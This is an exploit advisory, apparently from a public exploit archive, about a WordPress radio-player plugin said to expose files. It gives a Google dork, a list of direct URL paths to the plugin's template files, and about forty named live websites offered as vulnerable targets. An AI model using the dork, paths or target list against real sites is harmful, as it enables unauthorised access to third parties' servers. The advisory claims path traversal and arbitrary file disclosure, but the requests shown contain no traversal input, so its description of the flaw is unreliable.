######################################################################################## # Exploit Title : WordPress lbg-audio8-html5-radio_ads Plugins 4.9.x File Information Exposure # Author [ Discovered By ] : KingSkrupellos # Team : Cyberizm Digital Security Army # Date : 14/01/2019 # Vendor Homepage : lambertgroupproductions.com # Software Download Link : codecanyon.net/item/shout-html5-radio-player-with-ads-shoutcast-and-icecast-support-wordpress-plugin/20667135 # Software Price : 21$ # Tested On : Windows and Linux # Category : WebApps # Affected Versions : From 3.0 To 4.9.x # Exploit Risk : High # Google Dorks : inurl:"/wp-content/plugins/lbg-audio8-html5-radio_ads/" # Vulnerability Type : CWE-200 [ Information Exposure ] CWE-538 [ File and Directory Information Exposure ] CWE-22 [ Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') ] ######################################################################################## WordPress Plugin - SHOUT - HTML5 Radio Player With Ads - ShoutCast and IceCast Support ######################################################################################## # Impact : *********** * WordPress lbg-audio8-html5-radio_ads 4.9.x and other versions is prone to an arbitrary file disclosure vulnerability because it fails to properly sanitize user-supplied input. * An attacker can exploit this vulnerability to view local files in the context of the web server process, which may aid in launching further attacks. * An information exposure is the intentional or unintentional disclosure of information to an actor that is not explicitly authorized to have access to that information. * The product stores sensitive information in files or directories that are accessible to actors outside of the intended control sphere. * The software uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the software does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. ######################################################################################## # Exploit : ************* /wp-content/plugins/lbg-audio8-html5-radio_ads/tpl/add_banner.php /wp-content/plugins/lbg-audio8-html5-radio_ads/tpl/add_banner.php?page=LBG_AUDIO8_HTML5_SHOUTCAST_Manage_Banners /wp-content/plugins/lbg-audio8-html5-radio_ads/tpl/add_category.php /wp-content/plugins/lbg-audio8-html5-radio_ads/tpl/add_category.php?page=LBG_AUDIO8_HTML5_SHOUTCAST_Manage_Categories /wp-content/plugins/lbg-audio8-html5-radio_ads/tpl/add_player.php /wp-content/plugins/lbg-audio8-html5-radio_ads/tpl/add_player.php?page=LBG_AUDIO8_HTML5_SHOUTCAST_Manage_Players /wp-content/plugins/lbg-audio8-html5-radio_ads/tpl/add_playlist_record.php /wp-content/plugins/lbg-audio8-html5-radio_ads/tpl/add_playlist_record.php?page=LBG_AUDIO8_HTML5_SHOUTCAST_Playlist /wp-content/plugins/lbg-audio8-html5-radio_ads/tpl/banners.php /wp-content/plugins/lbg-audio8-html5-radio_ads/tpl/categories.php /wp-content/plugins/lbg-audio8-html5-radio_ads/tpl/help.php /wp-content/plugins/lbg-audio8-html5-radio_ads/tpl/overview.php /wp-content/plugins/lbg-audio8-html5-radio_ads/tpl/overview.php?page=LBG_AUDIO8_HTML5_SHOUTCAST_Manage_Players /wp-content/plugins/lbg-audio8-html5-radio_ads/tpl/overview.php?page=LBG_AUDIO8_HTML5_SHOUTCAST_Add_New /wp-content/plugins/lbg-audio8-html5-radio_ads/tpl/overview.php?page=LBG_AUDIO8_HTML5_SHOUTCAST_Manage_Categories /wp-content/plugins/lbg-audio8-html5-radio_ads/tpl/overview.php?page=LBG_AUDIO8_HTML5_SHOUTCAST_Manage_Banners /wp-content/plugins/lbg-audio8-html5-radio_ads/tpl/overview.php?page=LBG_AUDIO8_HTML5_SHOUTCAST_Help /wp-content/plugins/lbg-audio8-html5-radio_ads/tpl/players.php /wp-content/plugins/lbg-audio8-html5-radio_ads/tpl/playlist.php /wp-content/plugins/lbg-audio8-html5-radio_ads/tpl/preview.html /wp-content/plugins/lbg-audio8-html5-radio_ads/tpl/settings_form.php ######################################################################################## Video Tutorials => ******************* Installation - youtube.com/watch?v=km5cVH-iH_8 How To Use The Player - youtube.com/watch?v=DVLHNopEpXw Manage The Banners - youtube.com/watch?v=i4CWseyJmLc ######################################################################################## # Example Vulnerable Sites : ************************* [+] radioekklesia.com/radio/wp-content/plugins/lbg-audio8-html5-radio_ads/tpl/add_category.php [+] novorio87fm.com/wp-content/plugins/lbg-audio8-html5-radio_ads/tpl/add_category.php [+] skatemetalold.com/wp-content/plugins/lbg-audio8-html5-radio_ads/tpl/add_category.php [+] j-air.com.au/wp-content/plugins/lbg-audio8-html5-radio_ads/tpl/add_category.php [+] mediality.fr/glitter/wp-content/plugins/lbg-audio8-html5-radio_ads/tpl/add_category.php [+] radiouppermurray.com/wp-content/plugins/lbg-audio8-html5-radio_ads/tpl/add_category.php [+] soberforliferadio.com/wp-content/plugins/lbg-audio8-html5-radio_ads/tpl/add_category.php [+] radiostudion.com/wp-content/plugins/lbg-audio8-html5-radio_ads/tpl/add_category.php [+] radiosuper.mobi/wp/wp-content/plugins/lbg-audio8-html5-radio_ads/tpl/add_category.php [+] pamehellas.gr/wp-content/plugins/lbg-audio8-html5-radio_ads/tpl/add_category.php [+] sociedadenewsfm.com.br/wp-content/plugins/lbg-audio8-html5-radio_ads/tpl/add_category.php [+] radiopeniel.net/wp-content/plugins/lbg-audio8-html5-radio_ads/tpl/add_category.php [+] osmiumawards.com/wp-content/plugins/lbg-audio8-html5-radio_ads/tpl/add_category.php [+] radiomorabeza.cv/wp-content/plugins/lbg-audio8-html5-radio_ads/tpl/add_category.php [+] wwcufm.com/wp-content/plugins/lbg-audio8-html5-radio_ads/tpl/add_category.php [+] radiopolis.gr/wp-content/plugins/lbg-audio8-html5-radio_ads/tpl/add_category.php [+] radiost.com.br/wp/wp-content/plugins/lbg-audio8-html5-radio_ads/tpl/add_category.php [+] patrola021.com/wp-content/plugins/lbg-audio8-html5-radio_ads/tpl/add_category.php [+] soleilfmbenin.com/sfm/wp-content/plugins/lbg-audio8-html5-radio_ads/tpl/add_category.php [+] lawtudent.com/wp-content/plugins/lbg-audio8-html5-radio_ads/tpl/add_category.php [+] imprensamadureira.com.br/wp-content/plugins/lbg-audio8-html5-radio_ads/tpl/add_category.php [+] streaminginternacional.com/wp-content/plugins/lbg-audio8-html5-radio_ads/tpl/add_category.php [+] bandeando.fm/wp-content/plugins/lbg-audio8-html5-radio_ads/tpl/add_category.php [+] mantenanews.com/wp-content/plugins/lbg-audio8-html5-radio_ads/tpl/add_category.php [+] radio-varazdin.hr/wp-content/plugins/lbg-audio8-html5-radio_ads/tpl/add_category.php [+] hostpa.com.br/siteum/wp-content/plugins/lbg-audio8-html5-radio_ads/tpl/add_category.php [+] radiocapital.cat/wp-content/plugins/lbg-audio8-html5-radio_ads/tpl/add_category.php [+] xn--aydnrehberi-1zb.com/wp-content/plugins/lbg-audio8-html5-radio_ads/tpl/add_category.php [+] gokiebox.pe/wp-content/plugins/lbg-audio8-html5-radio_ads/tpl/add_category.php [+] radiotown.fi/wp-content/plugins/lbg-audio8-html5-radio_ads/tpl/add_category.php [+] tendenciafm.cl/wp-content/plugins/lbg-audio8-html5-radio_ads/tpl/add_category.php [+] radio7.co.tz/wp-content/plugins/lbg-audio8-html5-radio_ads/tpl/add_category.php [+] radios.bolivia.bo/backup/wp-content/plugins/lbg-audio8-html5-radio_ads/tpl/add_category.php [+] goldenflash.be/wp-content/plugins/lbg-audio8-html5-radio_ads/tpl/add_category.php [+] nordestefmbrasilia.com.br/wp-content/plugins/lbg-audio8-html5-radio_ads/tpl/add_category.php [+] ucradio.net/wp-content/plugins/lbg-audio8-html5-radio_ads/tpl/add_category.php [+] ellinikos.live/wp-content/plugins/lbg-audio8-html5-radio_ads/tpl/add_category.php [+] princesafm.com.br/wp-content/plugins/lbg-audio8-html5-radio_ads/tpl/add_category.php [+] djgrga-radio.com/wp-content/plugins/lbg-audio8-html5-radio_ads/tpl/add_category.php [+] nococommunityradio.org/wp-content/plugins/lbg-audio8-html5-radio_ads/tpl/add_category.php [+] diocesedecaxiasdomaranhao.org/wp-content/plugins/lbg-audio8-html5-radio_ads/tpl/add_category.php [+] umakiwefm.com/wp-content/plugins/lbg-audio8-html5-radio_ads/tpl/add_category.php ######################################################################################## # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team ########################################################################################